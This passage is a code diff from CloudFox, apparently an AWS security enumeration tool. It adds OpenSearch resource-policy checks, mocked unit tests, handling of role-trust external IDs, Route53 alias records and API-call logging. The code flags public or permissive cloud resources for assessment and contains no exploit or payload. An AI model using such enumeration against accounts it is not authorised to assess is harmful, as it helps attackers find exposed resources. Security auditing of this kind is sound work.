}
|
||||
|
||||
func (m *ResourceTrustsModule) getOpenSearchPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() { <-semaphore }()
|
||||
|
||||
openSearchDomains, err := sdk.CachedOpenSearchListDomainNames(*m.OpenSearchClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
return
|
||||
}
|
||||
for _, openSearchDomain := range openSearchDomains {
|
||||
var isPublic string
|
||||
var statementSummaryInEnglish string
|
||||
var isInteresting = "No"
|
||||
|
||||
openSearchDomainConfig, err := sdk.CachedOpenSearchDescribeDomainConfig(*m.OpenSearchClient, aws.ToString(m.Caller.Account), r, aws.ToString(openSearchDomain.DomainName))
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
continue
|
||||
}
|
||||
|
||||
if aws.ToBool(openSearchDomainConfig.AdvancedSecurityOptions.Options.Enabled) {
|
||||
isPublic = "No"
|
||||
} else {
|
||||
isPublic = magenta("Yes")
|
||||
isInteresting = magenta("Yes")
|
||||
}
|
||||
|
||||
openSearchDomainStatus, err := sdk.CachedOpenSearchDescribeDomain(*m.OpenSearchClient, aws.ToString(m.Caller.Account), r, aws.ToString(openSearchDomain.DomainName))
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
continue
|
||||
}
|
||||
|
||||
if openSearchDomainStatus.AccessPolicies != nil && *openSearchDomainStatus.AccessPolicies != "" {
|
||||
|
||||
// remove backslashes from the policy JSON
|
||||
policyJson := strings.ReplaceAll(aws.ToString(openSearchDomainStatus.AccessPolicies), `\"`, `"`)
|
||||
|
||||
openSearchDomainPolicy, err := policy.ParseJSONPolicy([]byte(policyJson))
|
||||
if err != nil {
|
||||
sharedLogger.Error(fmt.Errorf("parsing policy (%s) as JSON: %s", aws.ToString(openSearchDomainStatus.ARN), err))
|
||||
m.CommandCounter.Error++
|
||||
continue
|
||||
}
|
||||
|
||||
if !openSearchDomainPolicy.IsEmpty() {
|
||||
for i, statement := range openSearchDomainPolicy.Statement {
|
||||
prefix := ""
|
||||
if len(openSearchDomainPolicy.Statement) > 1 {
|
||||
prefix = fmt.Sprintf("Statement %d says: ", i)
|
||||
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
|
||||
} else {
|
||||
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
}
|
||||
|
||||
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
|
||||
if isResourcePolicyInteresting(statementSummaryInEnglish) {
|
||||
//magenta(statementSummaryInEnglish)
|
||||
isInteresting = magenta("Yes")
|
||||
}
|
||||
|
||||
dataReceiver <- Resource2{
|
||||
AccountID: aws.ToString(m.Caller.Account),
|
||||
ARN: aws.ToString(openSearchDomainStatus.ARN),
|
||||
ResourcePolicySummary: statementSummaryInEnglish,
|
||||
Public: isPublic,
|
||||
Name: aws.ToString(openSearchDomain.DomainName),
|
||||
Region: r,
|
||||
Interesting: isInteresting,
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
dataReceiver <- Resource2{
|
||||
AccountID: aws.ToString(m.Caller.Account),
|
||||
ARN: aws.ToString(openSearchDomainStatus.ARN),
|
||||
ResourcePolicySummary: statementSummaryInEnglish,
|
||||
Public: isPublic,
|
||||
Name: aws.ToString(openSearchDomain.DomainName),
|
||||
Region: r,
|
||||
Interesting: isInteresting,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ResourceTrustsModule) getGlueResourcePoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
@@ -905,7 +1283,7 @@ func (m *ResourceTrustsModule) getGlueResourcePoliciesPerRegion(r string, wg *sy
|
||||
}
|
||||
|
||||
func isResourcePolicyInteresting(statementSummaryInEnglish string) bool {
|
||||
// check if the statement has any of the following items, but make sure the check is case insensitive
|
||||
// check if the statement has any of the following items, but make sure the check is case-insensitive
|
||||
// if it does, then return true
|
||||
// if it doesn't, then return false
|
||||
|
||||
|
||||
@@ -2,6 +2,10 @@ package aws
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/BishopFox/cloudfox/aws/sdk"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
)
|
||||
|
||||
func TestIsResourcePolicyInteresting(t *testing.T) {
|
||||
@@ -41,3 +45,218 @@ func TestIsResourcePolicyInteresting(t *testing.T) {
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestKMSResourceTrusts(t *testing.T) {
|
||||
|
||||
mockedKMSClient := &sdk.MockedKMSClient{}
|
||||
var kmsClient sdk.KMSClientInterface = mockedKMSClient
|
||||
|
||||
testCases := []struct {
|
||||
outputDirectory string
|
||||
verbosity int
|
||||
testModule ResourceTrustsModule
|
||||
expectedResult []Resource2
|
||||
}{
|
||||
{
|
||||
outputDirectory: ".",
|
||||
verbosity: 2,
|
||||
testModule: ResourceTrustsModule{
|
||||
KMSClient: &kmsClient,
|
||||
APIGatewayClient: nil,
|
||||
EC2Client: nil,
|
||||
AWSRegions: []string{"us-west-2"},
|
||||
Caller: sts.GetCallerIdentityOutput{
|
||||
Account: aws.String("123456789012"),
|
||||
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
|
||||
},
|
||||
Goroutines: 30,
|
||||
},
|
||||
expectedResult: []Resource2{
|
||||
{
|
||||
Name: "key1",
|
||||
ARN: "arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab",
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
tc.testModule.PrintResources(tc.outputDirectory, tc.verbosity, true)
|
||||
for index, expectedResource2 := range tc.expectedResult {
|
||||
if expectedResource2.Name != tc.testModule.Resources2[index].Name {
|
||||
t.Fatal("Resource name does not match expected value")
|
||||
}
|
||||
if expectedResource2.ARN != tc.testModule.Resources2[index].ARN {
|
||||
t.Fatal("Resource ARN does not match expected value")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestAPIGatewayResourceTrusts(t *testing.T) {
|
||||
|
||||
mockedAPIGatewayClient := &sdk.MockedAWSAPIGatewayClient{}
|
||||
var apiGatewayClient sdk.APIGatewayClientInterface = mockedAPIGatewayClient
|
||||
|
||||
testCases := []struct {
|
||||
outputDirectory string
|
||||
verbosity int
|
||||
testModule ResourceTrustsModule
|
||||
expectedResult []Resource2
|
||||
}{
|
||||
{
|
||||
outputDirectory: ".",
|
||||
verbosity: 2,
|
||||
testModule: ResourceTrustsModule{
|
||||
KMSClient: nil,
|
||||
APIGatewayClient: &apiGatewayClient,
|
||||
EC2Client: nil,
|
||||
AWSRegions: []string{"us-west-2"},
|
||||
Caller: sts.GetCallerIdentityOutput{
|
||||
Account: aws.String("123456789012"),
|
||||
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
|
||||
},
|
||||
Goroutines: 30,
|
||||
},
|
||||
expectedResult: []Resource2{
|
||||
{
|
||||
Name: "api1",
|
||||
ARN: "arn:aws:execute-api:us-west-2:123456789012:abcdefg/*",
|
||||
Public: "No",
|
||||
Interesting: "Yes",
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
tc.testModule.PrintResources(tc.outputDirectory, tc.verbosity, false)
|
||||
for index, expectedResource2 := range tc.expectedResult {
|
||||
if expectedResource2.Name != tc.testModule.Resources2[index].Name {
|
||||
t.Fatal("Resource name does not match expected value")
|
||||
}
|
||||
if expectedResource2.ARN != tc.testModule.Resources2[index].ARN {
|
||||
t.Fatal("Resource ARN does not match expected value")
|
||||
}
|
||||
if expectedResource2.Public != tc.testModule.Resources2[index].Public {
|
||||
t.Fatal("Resource Public does not match expected value")
|
||||
}
|
||||
if expectedResource2.Interesting != tc.testModule.Resources2[index].Interesting {
|
||||
t.Fatal("Resource Interesting does not match expected value")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestVpcEndpointResourceTrusts(t *testing.T) {
|
||||
|
||||
mockedEC2Client := &sdk.MockedEC2Client2{}
|
||||
var ec2Client sdk.AWSEC2ClientInterface = mockedEC2Client
|
||||
|
||||
testCases := []struct {
|
||||
outputDirectory string
|
||||
verbosity int
|
||||
testModule ResourceTrustsModule
|
||||
expectedResult []Resource2
|
||||
}{
|
||||
{
|
||||
outputDirectory: ".",
|
||||
verbosity: 2,
|
||||
testModule: ResourceTrustsModule{
|
||||
KMSClient: nil,
|
||||
APIGatewayClient: nil,
|
||||
EC2Client: &ec2Client,
|
||||
AWSRegions: []string{"us-west-2"},
|
||||
Caller: sts.GetCallerIdentityOutput{
|
||||
Account: aws.String("123456789012"),
|
||||
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
|
||||
},
|
||||
Goroutines: 30,
|
||||
},
|
||||
expectedResult: []Resource2{
|
||||
{
|
||||
Name: "vpce-1234567890abcdefg",
|
||||
ARN: "vpce-1234567890abcdefg",
|
||||
Public: "No",
|
||||
},
|
||||
{
|
||||
Name: "vpce-1234567890abcdefh",
|
||||
ARN: "vpce-1234567890abcdefh",
|
||||
Public: "No",
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
tc.testModule.PrintResources(tc.outputDirectory, tc.verbosity, false)
|
||||
for index, expectedResource2 := range tc.expectedResult {
|
||||
if expectedResource2.Name != tc.testModule.Resources2[index].Name {
|
||||
t.Fatal("Resource name does not match expected value")
|
||||
}
|
||||
if expectedResource2.ARN != tc.testModule.Resources2[index].ARN {
|
||||
t.Fatal("Resource ARN does not match expected value")
|
||||
}
|
||||
if expectedResource2.Public != tc.testModule.Resources2[index].Public {
|
||||
t.Fatal("Resource Public does not match expected value")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestOpenSearchResourceTrusts(t *testing.T) {
|
||||
|
||||
mockedOpenSearchClient := &sdk.MockedOpenSearchClient{}
|
||||
var openSearchClient sdk.OpenSearchClientInterface = mockedOpenSearchClient
|
||||
|
||||
testCases := []struct {
|
||||
outputDirectory string
|
||||
verbosity int
|
||||
testModule ResourceTrustsModule
|
||||
expectedResult []Resource2
|
||||
}{
|
||||
{
|
||||
outputDirectory: ".",
|
||||
verbosity: 2,
|
||||
testModule: ResourceTrustsModule{
|
||||
KMSClient: nil,
|
||||
APIGatewayClient: nil,
|
||||
EC2Client: nil,
|
||||
OpenSearchClient: &openSearchClient,
|
||||
AWSRegions: []string{"us-west-2"},
|
||||
Caller: sts.GetCallerIdentityOutput{
|
||||
Account: aws.String("123456789012"),
|
||||
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
|
||||
},
|
||||
Goroutines: 30,
|
||||
},
|
||||
expectedResult: []Resource2{
|
||||
{
|
||||
Name: "domain1",
|
||||
ARN: "arn:aws:es:us-east-1:123456789012:domain/domain1",
|
||||
Public: "No",
|
||||
},
|
||||
{
|
||||
Name: "domain2",
|
||||
ARN: "arn:aws:es:us-east-1:123456789012:domain/domain2",
|
||||
Public: "Yes",
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
tc.testModule.PrintResources(tc.outputDirectory, tc.verbosity, false)
|
||||
for index, expectedResource2 := range tc.expectedResult {
|
||||
if expectedResource2.Name != tc.testModule.Resources2[index].Name {
|
||||
t.Fatal("Resource name does not match expected value")
|
||||
}
|
||||
if expectedResource2.ARN != tc.testModule.Resources2[index].ARN {
|
||||
t.Fatal("Resource ARN does not match expected value")
|
||||
}
|
||||
if expectedResource2.Public != tc.testModule.Resources2[index].Public {
|
||||
t.Fatal("Resource Public does not match expected value")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+8
-5
@@ -219,9 +219,10 @@ func (m *RoleTrustsModule) printPrincipalTrusts(outputDirectory string) ([]strin
|
||||
RoleARN: aws.ToString(role.roleARN),
|
||||
RoleName: GetResourceNameFromArn(aws.ToString(role.roleARN)),
|
||||
TrustedPrincipal: principal,
|
||||
ExternalID: statement.Condition.StringEquals.StsExternalID,
|
||||
IsAdmin: role.Admin,
|
||||
CanPrivEsc: role.CanPrivEsc,
|
||||
// if there is more than one externalID concat them using newlines
|
||||
ExternalID: strings.Join(statement.Condition.StringEquals.StsExternalID, "\n"),
|
||||
IsAdmin: role.Admin,
|
||||
CanPrivEsc: role.CanPrivEsc,
|
||||
}
|
||||
body = append(body, []string{
|
||||
aws.ToString(m.Caller.Account),
|
||||
@@ -281,7 +282,7 @@ func (m *RoleTrustsModule) printPrincipalTrustsRootOnly(outputDirectory string)
|
||||
for _, role := range m.AnalyzedRoles {
|
||||
for _, statement := range role.trustsDoc.Statement {
|
||||
for _, principal := range statement.Principal.AWS {
|
||||
if strings.Contains(principal, ":root") && statement.Condition.StringEquals.StsExternalID == "" {
|
||||
if strings.Contains(principal, ":root") && statement.Condition.StringEquals.StsExternalID == nil {
|
||||
accountID := strings.Split(principal, ":")[4]
|
||||
vendorName := m.vendors.GetVendorNameFromAccountID(accountID)
|
||||
if vendorName != "" {
|
||||
@@ -292,7 +293,7 @@ func (m *RoleTrustsModule) printPrincipalTrustsRootOnly(outputDirectory string)
|
||||
RoleARN: aws.ToString(role.roleARN),
|
||||
RoleName: GetResourceNameFromArn(aws.ToString(role.roleARN)),
|
||||
TrustedPrincipal: principal,
|
||||
ExternalID: statement.Condition.StringEquals.StsExternalID,
|
||||
ExternalID: strings.Join(statement.Condition.StringEquals.StsExternalID, "\n"),
|
||||
IsAdmin: role.Admin,
|
||||
CanPrivEsc: role.CanPrivEsc,
|
||||
}
|
||||
@@ -465,6 +466,8 @@ func parseFederatedTrustPolicy(statement policy.RoleTrustStatementEntry) (string
|
||||
subjects = append(subjects, statement.Condition.StringLike.TokenActionsGithubusercontentComSub...)
|
||||
} else if len(statement.Condition.StringEquals.TokenActionsGithubusercontentComSub) > 0 {
|
||||
subjects = append(subjects, statement.Condition.StringEquals.TokenActionsGithubusercontentComSub...)
|
||||
} else if len(statement.Condition.ForAllValuesStringLike.TokenActionsGithubusercontentComSub) > 0 {
|
||||
subjects = append(subjects, statement.Condition.ForAllValuesStringLike.TokenActionsGithubusercontentComSub...)
|
||||
} else {
|
||||
subjects = append(subjects, "ALL REPOS!!!")
|
||||
}
|
||||
|
||||
+17
-5
@@ -235,19 +235,31 @@ func (m *Route53Module) getRoute53Records() {
|
||||
recordName = aws.ToString(record.Name)
|
||||
recordType = string(record.Type)
|
||||
|
||||
for _, resourceRecord := range record.ResourceRecords {
|
||||
recordValue := resourceRecord.Value
|
||||
if record.AliasTarget != nil {
|
||||
m.Records = append(
|
||||
m.Records,
|
||||
Record{
|
||||
AWSService: "Route53",
|
||||
Name: recordName,
|
||||
Type: recordType,
|
||||
Value: aws.ToString(recordValue),
|
||||
Type: fmt.Sprintf("Alias[%s]", recordType),
|
||||
Value: aws.ToString(record.AliasTarget.DNSName),
|
||||
PrivateZone: privateZone,
|
||||
})
|
||||
|
||||
} else {
|
||||
for _, resourceRecord := range record.ResourceRecords {
|
||||
recordValue := resourceRecord.Value
|
||||
m.Records = append(
|
||||
m.Records,
|
||||
Record{
|
||||
AWSService: "Route53",
|
||||
Name: recordName,
|
||||
Type: recordType,
|
||||
Value: aws.ToString(recordValue),
|
||||
PrivateZone: privateZone,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
+122
-1
@@ -10,6 +10,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/apigateway"
|
||||
apiGatewayTypes "github.com/aws/aws-sdk-go-v2/service/apigateway/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type APIGatewayClientInterface interface {
|
||||
@@ -53,15 +54,37 @@ func init() {
|
||||
gob.Register([]apiGatewayTypes.UsagePlanKey{})
|
||||
}
|
||||
|
||||
// create a CachedApiGatewayGetRestAPIs function that accepts a client, account id, region. Make sure it handles caching, the region option and pagination
|
||||
func IsPublicApiGateway(ra *apiGatewayTypes.RestApi) bool {
|
||||
for _, endpointType := range ra.EndpointConfiguration.Types {
|
||||
if endpointType == apiGatewayTypes.EndpointTypeRegional || endpointType == apiGatewayTypes.EndpointTypeEdge {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// CachedApiGatewayGetRestAPIs function that accepts a client, account id, region. Make sure it handles caching, the region option and pagination
|
||||
func CachedApiGatewayGetRestAPIs(client APIGatewayClientInterface, accountID string, region string) ([]apiGatewayTypes.RestApi, error) {
|
||||
var PaginationControl *string
|
||||
var restAPIs []apiGatewayTypes.RestApi
|
||||
cacheKey := fmt.Sprintf("%s-apigateway-GetRestApis-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetRestApis",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]apiGatewayTypes.RestApi), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetRestApis",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
GetRestApis, err := client.GetRestApis(
|
||||
@@ -95,10 +118,24 @@ func CachedApiGatewayGetStages(client APIGatewayClientInterface, accountID strin
|
||||
cacheKey := fmt.Sprintf("%s-apigateway-GetStages-%s-%s", accountID, region, restAPIID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetStages",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"restApiId": restAPIID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
// Convert cached data back to GetStagesOutput before returning
|
||||
cachedOutput := cached.(*CachedGetStagesOutput) // Ensure this type assertion matches your caching logic
|
||||
return fromCachedGetStagesOutput(cachedOutput), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetStages",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"restApiId": restAPIID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
GetStages, err := client.GetStages(
|
||||
context.TODO(),
|
||||
@@ -142,8 +179,22 @@ func CachedApiGatewayGetResources(client APIGatewayClientInterface, accountID st
|
||||
cacheKey := fmt.Sprintf("%s-apigateway-GetResources-%s-%s", accountID, region, restAPIID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetResources",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"restApiId": restAPIID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]apiGatewayTypes.Resource), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetResources",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"restApiId": restAPIID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
GetResources, err := client.GetResources(
|
||||
@@ -180,8 +231,20 @@ func CachedApiGatewayGetDomainNames(client APIGatewayClientInterface, accountID
|
||||
cacheKey := fmt.Sprintf("%s-apigateway-GetDomainNames-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetDomainNames",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]apiGatewayTypes.DomainName), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetDomainNames",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
GetDomainNames, err := client.GetDomainNames(
|
||||
@@ -217,8 +280,22 @@ func CachedApiGatewayGetBasePathMappings(client APIGatewayClientInterface, accou
|
||||
cacheKey := fmt.Sprintf("%s-apigateway-GetBasePathMappings-%s-%s", accountID, region, aws.ToString(domain))
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetBasePathMappings",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"domainName": aws.ToString(domain),
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]apiGatewayTypes.BasePathMapping), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetBasePathMappings",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"domainName": aws.ToString(domain),
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
GetBasePathMappings, err := client.GetBasePathMappings(
|
||||
@@ -254,10 +331,28 @@ func CachedApiGatewayGetMethod(client APIGatewayClientInterface, accountID strin
|
||||
cacheKey := fmt.Sprintf("%s-apigateway-GetMethod-%s-%s-%s-%s", accountID, region, restAPIID, resourceID, method)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetMethod",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"restApiId": restAPIID,
|
||||
"resourceId": resourceID,
|
||||
"httpMethod": method,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
// Convert cached data back to GetMethodOutput before returning
|
||||
cachedOutput := cached.(*CachedGetMethodOutput) // Ensure this type assertion matches your caching logic
|
||||
return fromCachedGetMethodOutput(cachedOutput), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetMethod",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"restApiId": restAPIID,
|
||||
"resourceId": resourceID,
|
||||
"httpMethod": method,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
GetMethod, err := client.GetMethod(
|
||||
context.TODO(),
|
||||
@@ -324,8 +419,20 @@ func CachedApiGatewayGetUsagePlans(client APIGatewayClientInterface, accountID s
|
||||
cacheKey := fmt.Sprintf("%s-apigateway-GetUsagePlans-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetUsagePlans",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]apiGatewayTypes.UsagePlan), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetUsagePlans",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
GetUsagePlans, err := client.GetUsagePlans(
|
||||
@@ -362,8 +469,22 @@ func CachedApiGatewayGetUsagePlanKeys(client APIGatewayClientInterface, accountI
|
||||
cacheKey := fmt.Sprintf("%s-apigateway-GetUsagePlanKeys-%s-%s", accountID, region, usagePlanID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetUsagePlanKeys",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"usagePlanId": usagePlanID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]apiGatewayTypes.UsagePlanKey), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetUsagePlanKeys",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"usagePlanId": usagePlanID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
GetUsagePlanKeys, err := client.GetUsagePlanKeys(
|
||||
|
||||
@@ -22,6 +22,7 @@ func (m *MockedAWSAPIGatewayClient) GetRestApis(ctx context.Context, input *apig
|
||||
apiGatewayTypes.EndpointTypePrivate,
|
||||
},
|
||||
},
|
||||
Policy: aws.String("{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":\"*\",\"Action\":\"execute-api:Invoke\",\"Resource\":\"arn:aws:execute-api:us-west-2:123456789012:abcdefg/*/*/*\"}]}"),
|
||||
},
|
||||
{
|
||||
Id: aws.String("qwerty"),
|
||||
|
||||
@@ -10,6 +10,7 @@ import (
|
||||
apiGatwayV2Types "github.com/aws/aws-sdk-go-v2/service/apigatewayv2/types"
|
||||
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type APIGatewayv2ClientInterface interface {
|
||||
@@ -38,8 +39,20 @@ func CachedAPIGatewayv2GetAPIs(client APIGatewayv2ClientInterface, accountID str
|
||||
cacheKey := fmt.Sprintf("%s-apigatewayv2-GetApis-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigatewayv2:GetApis",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]apiGatwayV2Types.Api), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigatewayv2:GetApis",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
GetApis, err := client.GetApis(
|
||||
context.TODO(),
|
||||
@@ -74,8 +87,20 @@ func CachedAPIGatewayv2GetDomainNames(client APIGatewayv2ClientInterface, accoun
|
||||
cacheKey := fmt.Sprintf("%s-apigatewayv2-GetDomainNames-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigatewayv2:GetDomainNames",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]domainName), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigatewayv2:GetDomainNames",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
GetDomainNames, err := client.GetDomainNames(
|
||||
context.TODO(),
|
||||
@@ -114,8 +139,20 @@ func CachedAPIGatewayv2GetApiMappings(client APIGatewayv2ClientInterface, accoun
|
||||
cacheKey := fmt.Sprintf("%s-apigatewayv2-GetApiMappings-%s-%s", accountID, region, domain)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigatewayv2:GetApiMappings",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]apiGatwayV2Types.ApiMapping), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigatewayv2:GetApiMappings",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
GetApiMappings, err := client.GetApiMappings(
|
||||
context.TODO(),
|
||||
@@ -151,8 +188,20 @@ func CachedAPIGatewayv2GetStages(client APIGatewayv2ClientInterface, accountID s
|
||||
cacheKey := fmt.Sprintf("%s-apigatewayv2-GetStages-%s-%s", accountID, region, apiID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigatewayv2:GetStages",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]apiGatwayV2Types.Stage), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigatewayv2:GetStages",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
GetStages, err := client.GetStages(
|
||||
context.TODO(),
|
||||
@@ -188,8 +237,20 @@ func CachedAPIGatewayv2GetRoutes(client APIGatewayv2ClientInterface, accountID s
|
||||
cacheKey := fmt.Sprintf("%s-apigatewayv2-GetRoutes-%s-%s", accountID, region, apiID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigatewayv2:GetRoutes",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
